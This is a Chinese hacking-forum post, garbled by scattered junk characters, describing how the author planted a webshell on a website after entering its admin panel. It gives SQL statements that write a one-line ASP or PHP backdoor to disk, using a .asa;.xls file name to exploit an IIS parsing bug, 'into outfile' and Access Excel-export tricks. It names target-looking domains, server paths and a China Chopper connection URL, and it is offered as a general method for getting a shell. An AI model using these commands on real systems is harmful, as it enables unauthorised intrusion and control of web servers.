好不容易进了后台,发现啥上传啊。备份啊多木有。
8 H7 K$ d$ M0 R+ q. U$ lwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的' C1 B% K l; O. B, V6 T, d4 B
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,
2 u; `4 S' D8 z5 z. J! ^然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
" e- h; U0 ? ]5 m- y2 d1 r2 P9 ^- a* u1.create table cmd (a varchar(50))8 [2 W6 u* }' i
2.insert into cmd (a) values (‘‘)
6 Z' s+ a4 `) D0 W+ @: P3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
# H0 f& G2 \5 q& t5 \0 n(把表cmd的内容导出为物理路径的一个EXCEL文件)5 f: I5 R7 L+ a5 n
4.drop table cmd
. D" f. j+ A( | ^8 }5 I利用IIS的BUG成功拿到了WEBSHELL。7 B* C9 J3 ]2 I7 D2 `* C0 R1 R
, l( A5 p& g% o+ @- D- z
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话
: R/ [+ o, L6 J$ n2 L/ B# n: l7 N9 B% j1 t F
SQL语句意思解释:" b6 a: S7 [* J" R' L) w
第一句
( x' \5 p/ k5 I5 `3 T1 g 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
% o# z' ^* j5 i* ~% J2 |( K* G- c6 ^ h6 j8 O) `* [
第二句7 ]- l" z* e: q' |/ R% d# W
在表cmd的a字段插入一句话木马3 o+ ], Z( y9 S/ x# |; Q+ X0 i' Z
第三句2 g/ w* m2 g3 V0 c; m" T ~
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件9 Z8 k% v$ }$ F0 ~& @" l
# p. m+ v$ o- O 第四句
1 Z9 D: ]+ a5 V1 j& \1 m q 删除建立的cmd表# |: U0 a3 c/ N
) D% K" t" a: O: i/ m
以下内容为测试:$ i4 P1 z1 s* }2 k) d+ J7 V' @+ Q& ~
Access利用后台SQL执行命令功能导出WebShell:
3 B w+ }" [3 E; c9 A 这个更简单:
: D" Q; M- E7 e4 v" ` S [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]$ ?' M! @: g0 j/ C
或者
& U" t$ B! |6 L q& E/ t# z3 ` [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
; |% [! Y! B) o: c" F1 W3 n; |
$ E: `/ |4 [4 `7 { 后台有执行SQL语句功能(vote为已知表段)9 N4 [: h5 w+ @& b0 E* v
希望对大家有所帮助拿shell的又一个思路; J' B0 S8 n/ c+ h
|